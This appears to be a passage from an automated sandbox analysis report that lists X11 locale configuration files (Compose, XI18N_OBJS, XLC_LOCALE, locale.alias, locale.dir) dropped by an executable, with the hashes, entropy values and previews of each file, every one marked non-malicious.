SHA-256:	502D8FEC1A356108469287FE99E2631E02CE282AC687725165CF60401A6EEBAC
SHA-512:	1FED6BBA8BE42337F080757ED2D45328A61B5B2CF7F72137FFFDE7FED0D4EEE32F082B928C6ABC13351B39EBAEB29E503D48E45F621511EC64AA1C347C964D4C
Malicious:	false
Preview:	#.# koi8-c Compose Sequence.#.# Sequence Definition.#.#..# <Multi_key> Means <Compose>.# Special Character.<Multi_key> <plus> <plus> : "#" numbersign.<Multi_key> <apostrophe> <space> : "'" apostrophe.<Multi_key> <space> <apostrophe> : "'" apostrophe.<Multi_key> <A> <T> : "@" at.<Multi_key> <parenleft> <parenleft> : "[" bracketleft.<Multi_key> <slash> <slash> : "\\" backslash.<Multi_key> <slash> <less> : "\\" backslash.<Multi_key> <less> <slash> : "\\" backslash.<Multi_key> <parenright> <parenright> : "]" bracketright.<Multi_key> <asciicircum> <space> : "^" asciicircum.<Multi_key> <space> <asciicircum> : "^" asciicircum.<Multi_key> <greater> <space> : "^" asciicircum.<Multi_key> <space> <greater> : "^" asciicircum.<Multi_key> <grave> <space> : "`" grave.<Multi_key> <space> <grave> : "`" grave.<Multi_key> <parenleft

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\koi8-c\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.178949671629106
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFW8+sKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMrToeCXoXKfXoc9RwvIo8WJb
MD5:	353B3F751E821A5E90B07EB7443ACB58
SHA1:	553425F838328357514C6FB69C63CBEAE82CDCAD
SHA-256:	608DAE8D74E5BDB0CD7D048192E1584229FB78E10764D4B5FD4A09B027A0AF8D
SHA-512:	CB1A99B621A76C932CDCAF15E8E7A8FCB2D2269F5EC7D601D238C77F8D3E77DF5BAB7D011769708CE9CF501E7E134BD2326E301A3320B6F9E649464EE739C2B4
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for koi8-c locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\koi8-c\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	903
Entropy (8bit):	5.28276740553402
Encrypted:	false
SSDEEP:	24:ednWEB28XLvLOuO4Z+Q+fDJ7/QGGm/7F4:w5B9vLOuOFN27
MD5:	049392B9F48DE503ACA7A37D5657D3A6
SHA1:	C7810C24FB07BC521DAF7B5DD7D8EA7DB133C045
SHA-256:	5F368FA105F62DEB1D0B76D94DAD115642F6E927EEB2A0BB14C370D3A735CCB3
SHA-512:	31D9B874272C518BE31D88AA433AF5236CD22C09948E13E03132A7BC5EA4D7206059447D51DF4D01B32A63996CD530F876C36D3FA43E58EE04F1C7D029B41E4F
Malicious:	false
Preview:	# XLocale Database Sample for koi8-c..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class (7 bit ASCII).fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..KOI8-C:GL...substitute.ISO8859-1:GL..}.}.# .fs1 class .fs1.{..charset KOI8-C:GR..font KOI8-C:GR.}.END XLC_FONTSET..#.#.XLC_CHARSET_DEFINE category.#.XLC_CHARSET_DEFINE.csd0.{..charset_name.KOI8-C..side..GR..length..1..string_encoding.False..sequence.\x1b%/1.}.END XLC_CHARSET_DEFINE..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name KOI8-C.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding KOI8-C:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding KOI8-C:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\koi8-r\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	304
Entropy (8bit):	4.5613541906488875
Encrypted:	false
SSDEEP:	6:L0cFmDL5kc/az1e6ldoFd/M+6qRNXdkbYqBJW3uc/v:L0cF0Ae6ldo0+62XdUmhn
MD5:	1173D848B9224A5C28BBC80BF70F4B74
SHA1:	DD64652303D45544EF15A716A4B44763F6937A94
SHA-256:	6D16990385EEB2CE939DDF3EEEE657FBBA55E943702D13AA235DBE67694DBF85
SHA-512:	FAD179914119D71A2EF81E2693B956E9AE85794E1D66D6B1BEFB5A397774A6EDCD4EA926E8D606BA003719326750853CA16C65897D35B7BD81DE427A8996444D
Malicious:	false
Preview:	#.# koi8-r Compose Sequence.#.# Sequence Definition.#.#.# This file currently has no entries. It appears that a compose file (even.# just an empty one) is required for the appropriate keysyms to work for.# this encoding..#.# <Multi_key> Means <Compose>.# Special Character..# End of Sequence Definition.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\koi8-r\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.179694344620359
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFWMFvtsKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMNFveoeCXoXKfXoc9RwvIo8WV
MD5:	342DC18B03CC6A253F35A04DEB4BD45D
SHA1:	D4C6C2593D2758A8C3096DB1B02BCA660DA0E4DF
SHA-256:	4AAABA59BB8712B563C55F4F48CA580BDF26900EAB8CCC4903D5A27A34FA51EC
SHA-512:	5C2D12ECAD51DE9730057854FE5931F2991EE4B6B6CA96715781AD9D8B650EE1ED85EA2779D5994B48DFF0DDC6BD812C5AAAD27199B37E7BDB2B3650C3FBB672
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for koi8-r locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\koi8-r\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	906
Entropy (8bit):	5.287171135236267
Encrypted:	false
SSDEEP:	24:eNQOWEo28XSUlvL7uO4jHQ+fDJ7/3rGGm/7FSM:Q5ojvL7uO6Nhw
MD5:	E9E603F6859750FFBA80045326275CB8
SHA1:	EEEB45AAD22A883D501DD7821AD53DB586EE9828
SHA-256:	CA5E2ED62081889F205E42C2166B5FEB9B5D2026DD85016B0FBC867382668880
SHA-512:	4C9E9A7F76611F64C6152AF0B1F5275B9DF0A4D6E2BAFA69E1C87477DEA88965FCA34846F91D1AA5C32B52CC7470D665B21E35EAF9926C45A5AF052164AFF4F3
Malicious:	false
Preview:	# XLocale Database Sample for koi8-r..# .# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class (7 bit ASCII).fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..KOI8-R:GL...substitute.ISO8859-1:GL..}.}.# .fs1 class .fs1.{..charset KOI8-R:GR..font KOI8-R:GR.}.END XLC_FONTSET..#.#.XLC_CHARSET_DEFINE category.#.XLC_CHARSET_DEFINE.csd0.{..charset_name.KOI8-R..side..GR..length..1..string_encoding.False..sequence.\x1b%/1.}.END XLC_CHARSET_DEFINE..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name KOI8-R.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding KOI8-R:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding KOI8-R:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\koi8-u\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	304
Entropy (8bit):	4.564146088765255
Encrypted:	false
SSDEEP:	6:L0/ohL5kc/az1e6ldoFd/M+6qRNXdkbYqBJW3uc/v:L0/SAe6ldo0+62XdUmhn
MD5:	06279445677DD548D9F873E9A2A856E0
SHA1:	B60A9C1B7FAB23FA627A137BBD7F86078BC4A35C
SHA-256:	DF5F800D7A9C1504A2D86A78E33C105513DBF1FD4A8212C45F7C2B7A3E6CBB20
SHA-512:	57414E1683C3C65C8D758EE515EC95B7D5CA394D2E2B851910FC9D8229A094BB17A9581F6B4A1FFF2B7735707DDDEB687D7E649A687B42B763C6C0C1697C9C63
Malicious:	false
Preview:	#.# koi8-u Compose Sequence.#.# Sequence Definition.#.#.# This file currently has no entries. It appears that a compose file (even.# just an empty one) is required for the appropriate keysyms to work for.# this encoding..#.# <Multi_key> Means <Compose>.# Special Character..# End of Sequence Definition.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\koi8-u\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.185846946259334
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFWu+sKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMNoeCXoXKfXoc9RwvIo8WJb
MD5:	F1BEDC33C1475111DAC3AF759EA78ACA
SHA1:	1D8F93CF0DAAFC78F3247DA45A61E7EDDE33A9D5
SHA-256:	259E1F568BD6DC198C6A296A1D551EE8014F1E469EB6047F00C96F506EDA4FC2
SHA-512:	ABD8058F1E989EFED1DFAA27FF316C4D82032F8A9C5669B1BF1E878DA99BBCF90193315551B9F3426D89B8A2CF2653936A4C9A50F4DEB62838DC306A11F945FD
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for koi8-u locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\koi8-u\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	903
Entropy (8bit):	5.3075402141559564
Encrypted:	false
SSDEEP:	24:eHWEf28XJzNvLguO4WQ+fDJ7/aGGm/7FZk:a5fjzNvLguOfNsMk
MD5:	F9A73D8FD6CE1778E9710B015FD37BD2
SHA1:	2F1ABC6EBB50C284CDD90C1E52C5B5E93910FEE7
SHA-256:	37A09B04052000F482A27175D179C3463A178E4B863B005AFEE597EE61480065
SHA-512:	557B5D4FC69FAAC5881DC6A31E26E2206C0577B69F70B5C19A4DADF6F28FD670D72738BDCA1BD49E744A502158CF56AF8AD1955DBD46D37BB29E1614C47A9C31
Malicious:	false
Preview:	# XLocale Database Sample for koi8-u..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class (7 bit ASCII).fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..KOI8-U:GL...substitute.ISO8859-1:GL..}.}.# .fs1 class .fs1.{..charset KOI8-U:GR..font KOI8-U:GR.}.END XLC_FONTSET..#.#.XLC_CHARSET_DEFINE category.#.XLC_CHARSET_DEFINE.csd0.{..charset_name.KOI8-U..side..GR..length..1..string_encoding.False..sequence.\x1b%/1.}.END XLC_CHARSET_DEFINE..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name KOI8-U.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding KOI8-U:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding KOI8-U:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\locale.alias

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ISO-8859 text
Category:	dropped
Size (bytes):	80648
Entropy (8bit):	5.097152143943997
Encrypted:	false
SSDEEP:	1536:79vukCOLIUoGa6eIoFUL6DHOyv8aEB0jM:FCaIUMv8aO
MD5:	C11704E818A5C47F688887F6907696A1
SHA1:	86B97C93612EC2266883CDEA5488A623648AD450
SHA-256:	11B9198CB1C265C792B3975179474F4714A4786891B54F61530581B0E39484A9
SHA-512:	50D39373D2C0DFC1DD1F846B5CBA80D86BBAE14594D20DD80858B0C84A0745B9EEDD8D0ABE189EEE4B8EAFB884431C792D750AB752256461CC8B40F0543322D3
Malicious:	false
Preview:	#.#.This file contains alias name of locale..#.Each alias name is described within one line..#.The first word is the alias name (simplified locale name).#.the second word is full locale name..#.#..POSIX......C.POSIX-UTF2.....C.C_C.C......C.C.en......C.C.iso88591.....en_US.ISO8859-1.Cextend.....en_US.ISO8859-1.Cextend.en.....en_US.ISO8859-1.English_United-States.437...C.# a3 is not an ISO 639 language code, but in Cyrillic, "Z" looks like "3"..a3......a3_AZ.KOI8-C.a3_AZ......a3_AZ.KOI8-C.a3_AZ.koi8c.....a3_AZ.KOI8-C.af......af_ZA.ISO8859-1.af_ZA......af_ZA.ISO8859-1.af_ZA.iso88591.....af_ZA.ISO8859-1.af_ZA.ISO-8859-1....af_ZA.ISO8859-1.af_ZA.utf8....af_ZA.UTF-8.am......am_ET.UTF-8.am_ET......am_ET.UTF-8.ar......ar_AA.ISO8859-6.ar_AA......ar_AA.ISO8859-6.AR_AA......ar_AA.ISO8859-6.Ar_AA......ar_AA.ISO8859-6.AR_AA.UTF-8.....ar_AA.UTF-8.ar_AA.iso88596.....ar_AA.ISO8859-6.ar_AA.ISO-8859-6....ar_AA.ISO8859-6.ar_AE......ar_AE.ISO8859-6.ar_AE.iso88596.....ar_AE.ISO8859-6.ar_AE.ISO-8859-6....ar

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\locale.dir

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	34876
Entropy (8bit):	5.075466962861465
Encrypted:	false
SSDEEP:	192:hK2WoGJcc7K4R32Rc5NI2Z/4/XShMKSOgnLKbQ3jc9JMyPzM2J/a+a4zBG:48qI2ZQfShYjUy8M2JSp4zBG
MD5:	6EF72EBD69EB08E6059A70BB1E9A0ACF
SHA1:	5DB5E5B682415CCC98A958B075D8E21A66C89C1B
SHA-256:	BEDD83F2FB705848996C1F70FF32ED46CFAC44E75DC4B3301BFC48FA52862F2F
SHA-512:	E05F5E7B5F72D642DEC856F32BAEDD110DEC3BDD41D80F47686EE1DE8AEFA7B6C06F4D52DF41166CAC5287E822834CC25B2EB8D93CAE0C7A98DD0C72BFD87806
Malicious:	false
Preview:	#.#.This file contains locale database file names.#.The first word is the locale database file name and.#.the second word is the full locale name..#.#..C/XLC_LOCALE....C.en_US.UTF-8/XLC_LOCALE...C.UTF-8.iso8859-1/XLC_LOCALE...af_ZA.ISO8859-1.iso8859-6/XLC_LOCALE...ar_AA.ISO8859-6.iso8859-6/XLC_LOCALE...ar_BH.ISO8859-6.iso8859-6/XLC_LOCALE...ar_DZ.ISO8859-6.iso8859-6/XLC_LOCALE...ar_EG.ISO8859-6.iso8859-6/XLC_LOCALE...ar_IQ.ISO8859-6.iso8859-6/XLC_LOCALE...ar_JO.ISO8859-6.iso8859-6/XLC_LOCALE...ar_KW.ISO8859-6.iso8859-6/XLC_LOCALE...ar_LB.ISO8859-6.iso8859-6/XLC_LOCALE...ar_LY.ISO8859-6.iso8859-6/XLC_LOCALE...ar_MA.ISO8859-6.iso8859-6/XLC_LOCALE...ar_OM.ISO8859-6.iso8859-6/XLC_LOCALE...ar_QA.ISO8859-6.iso8859-6/XLC_LOCALE...ar_SA.ISO8859-6.iso8859-6/XLC_LOCALE...ar_SD.ISO8859-6.iso8859-6/XLC_LOCALE...ar_SY.ISO8859-6.iso8859-6/XLC_LOCALE...ar_TN.ISO8859-6.iso8859-6/XLC_LOCALE...ar_YE.ISO8859-6.iso8859-9e/XLC_LOCALE...az_AZ.ISO8859-9E.koi8-c/XLC_LOCALE...az_AZ.KOI8-C.iso8859-5/XLC_LOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\microsoft-cp1251\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:G:G
MD5:	01ABFC750A0C942167651C40D088531D
SHA1:	D08F88DF745FA7950B104E4A707A31CFCE7B5841
SHA-256:	334359B90EFED75DA5F0ADA1D5E6B256F4A6BD0AEE7EB39C0F90182A021FFC8B
SHA-512:	D369286AC86B60FA920F6464D26BECACD9F4C8BD885B783407CDCAA74FAFD45A8B56B364B63F6256C3CEEF26278A1C7799D4243A8149B5EDE5CE1D890B5C7236
Malicious:	false
Preview:	#

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\microsoft-cp1251\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.205731988444226
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFTuzE+sKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMRqeoeCXoXKfXoc9RwvIo8WJb
MD5:	547F6F367D091769D8E75C77AC0732B5
SHA1:	143D79B2757DE96F45947511943E1C7BEA157F90
SHA-256:	9B904CFE01DB751706807FE3818C7515386AE258DF3E764880B1D909C84574E3
SHA-512:	FAC47CF662ABFDCC0CCE4230FF01DEF9DC5F436BC23EAE575D9D06449BA98465B4352866118102E39B86840B4CD8AD28D41C2658B0F6BE123881A5DDF734EEF4
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for microsoft-cp1251 locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\microsoft-cp1251\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1010
Entropy (8bit):	5.373614699699496
Encrypted:	false
SSDEEP:	24:eRuevWElJ28NJ9l2vQ+ODuO4PiQQwqfDJ7/aCGGm/7FTIk:6uw5lJV9l2vQ+4uOU01NaUud
MD5:	38AF5E187269950D7F16DEC2DC1A90DD
SHA1:	C988F04252587BA9C31D57F0207815956063B266
SHA-256:	EAB57DF9279AE098017CFFBD2048D00BE7D23B7C47BF21AA14F9C7F3A2FB0E88
SHA-512:	D1A494F9BD112F32D21D16A64B0C3A689565FFDE041760DFF6F1F6ED843F6B19F1716C571326DBD6921C07D0EAF7F7BE1269430B04FA00C8991E0332E27F035B
Malicious:	false
Preview:	# XLocale Database Sample for microsoft-cp1251..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class .fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..MICROSOFT-CP1251:GL...substitute.ISO8859-1:GL...vertical_rotate.all..}.}.# .fs1 class .fs1.{..charset.{...name..MICROSOFT-CP1251:GR..}..font.{...primary..MICROSOFT-CP1251:GR..}.}.END XLC_FONTSET..#.#.XLC_CHARSET_DEFINE category.#.XLC_CHARSET_DEFINE.csd0.{..charset_name.MICROSOFT-CP1251..side..GR..length..1..string_encoding.False..sequence.\x1b%/1.}.END XLC_CHARSET_DEFINE..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..MICROSOFT-CP1251.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True.force_convert_to_mb.True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding.MICROSOFT-CP1251:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding.MICROSOFT-CP1251:GR.}..END XL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\microsoft-cp1255\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:G:G
MD5:	01ABFC750A0C942167651C40D088531D
SHA1:	D08F88DF745FA7950B104E4A707A31CFCE7B5841
SHA-256:	334359B90EFED75DA5F0ADA1D5E6B256F4A6BD0AEE7EB39C0F90182A021FFC8B
SHA-512:	D369286AC86B60FA920F6464D26BECACD9F4C8BD885B783407CDCAA74FAFD45A8B56B364B63F6256C3CEEF26278A1C7799D4243A8149B5EDE5CE1D890B5C7236
Malicious:	false
Preview:	#

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\microsoft-cp1255\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.207901205404466
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFTu9sKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMRXoeCXoXKfXoc9RwvIo8WJb
MD5:	AED4431932762BD3EE06F05A14C12FF2
SHA1:	713ECB649BC791104BC666D66B1EE97C194417CA
SHA-256:	57D3F7E62775F0B90379342D5C2473266FDFBBC68CBA6465FD8361D6CF673EF6
SHA-512:	45E1F68CCE4C5BDE89877EF5EF3DC446F524C66319146EA0D5D522008770BC1174946CF8257D4E55188D7761FE4440DD9FA7C3A05EDAD2C847B2D526EB46A7A2
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for microsoft-cp1255 locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\microsoft-cp1255\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1010
Entropy (8bit):	5.379541341313286
Encrypted:	false
SSDEEP:	24:eRievWEltX28NJtEEltEBvQ+MuO4POQQwqfDJ7/atoGGm/7FTt/:6iw5lVVJlqvQ+MuOUA1Naoux
MD5:	6931F297D0F349E91DA508031446D3AA
SHA1:	26CB55E8D005831D8A0C23FED02674C2C90821CE
SHA-256:	80D961D842B87AA1744D077E037B6169C70BCBF9CC5414975037CD539A31BEB2
SHA-512:	A2833EEF8F24EC755236144397FF7222EE462F48C47AEBCA6B1603B3758E85DE21D7B817EA0D688EAABED150EF77642D0710BCFBA30A6B0AEDEF2165E8D1E406
Malicious:	false
Preview:	# XLocale Database Sample for microsoft-cp1255..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class .fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..MICROSOFT-CP1255:GL...substitute.ISO8859-1:GL...vertical_rotate.all..}.}.# .fs1 class .fs1.{..charset.{...name..MICROSOFT-CP1255:GR..}..font.{...primary..MICROSOFT-CP1255:GR..}.}.END XLC_FONTSET..#.#.XLC_CHARSET_DEFINE category.#.XLC_CHARSET_DEFINE.csd0.{..charset_name.MICROSOFT-CP1255..side..GR..length..1..string_encoding.False..sequence.\x1b%/1.}.END XLC_CHARSET_DEFINE..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..MICROSOFT-CP1255.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True.force_convert_to_mb.True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding.MICROSOFT-CP1255:GL; ISO8859-1:GL.}...# .cs1 class.cs1.{..side..GR:Default..length..1...wc_encoding.\x30000000.....ct_encoding.MICROSOFT-CP1255:GR.}..END XL

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\microsoft-cp1256\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:G:G
MD5:	01ABFC750A0C942167651C40D088531D
SHA1:	D08F88DF745FA7950B104E4A707A31CFCE7B5841
SHA-256:	334359B90EFED75DA5F0ADA1D5E6B256F4A6BD0AEE7EB39C0F90182A021FFC8B
SHA-512:	D369286AC86B60FA920F6464D26BECACD9F4C8BD885B783407CDCAA74FAFD45A8B56B364B63F6256C3CEEF26278A1C7799D4243A8149B5EDE5CE1D890B5C7236
Malicious:	false
Preview:	#

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\microsoft-cp1256\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.213648331841248
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFTumxtsKTLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMRJeoeCXoXKfXoc9RwvIo8WJb
MD5:	4B2569C4E0CF5582D0BC8352A42070DA
SHA1:	9EBEC28F253F67E25A722327F230B2C40CC3C41B
SHA-256:	AA677177937F7A7099D7E4FB3956FA225709E9E94C8A5A44BC636F7D093832EF
SHA-512:	500D5144F8B58931FC6AE2F8D1DC945685E58B002E811DB565781B1F7A11D2960E8E6D0E2948108989AB2CD2B83CCB1826A6E0D017DABDAE471CB9BC4EED6D40
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for microsoft-cp1256 locale.#.XLC.common/xlcDef._XlcDefaultLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\microsoft-cp1256\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1010
Entropy (8bit):	5.3980134947295415
Encrypted:	false
SSDEEP:	24:eRqaevWElW28NJAlVvQ+zuO4P/QQwqfDJ7/ajGGm/7FTU:6qaw5lWVAlVvQ+zuOUf1NaJuU
MD5:	57A4974261F957AE73624356E239CB57
SHA1:	8699A620D7AD78CA4EDE1707E0D3361607DECC76
SHA-256:	50A5DC12A2D4400D881ED681F60EAB82148A2EF959DBFA450315C3CAD761C300
SHA-512:	276D9E1242EE1494AD7652061925650D4F66457B54703536EC9F3517798948F8A858E6DBDAADD0DAF3BB09A2798C3D6BF3B4FE5E77ED76ADB43DDE9E8069D831
Malicious:	false
Preview:	# XLocale Database Sample for microsoft-cp1256..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class .fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..MICROSOFT-CP1256:GL...substitute.ISO8859-1:GL...vertical_rotate.all..}.}.# .fs1 class .fs1.{..charset.{...name..MICROSOFT-CP1256:GR..}..font.{...primary..MICROSOFT-CP1256:GR..}.}.END XLC_FONTSET..#.#.XLC_CHARSET_DEFINE category.#.XLC_CHARSET_DEFINE.csd0.{..charset_name.MICROSOFT-CP1256..side..GR..length..1..string_encoding.False..sequence.\x1b%/1.}.END XLC_CHARSET_DEFINE..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..MICROSOFT-CP1256.mb_cur_max..1.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True.force_convert_to_mb.True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding.MICROSOFT-CP1256:GL; ISO8859-1:GL.}...# .cs1 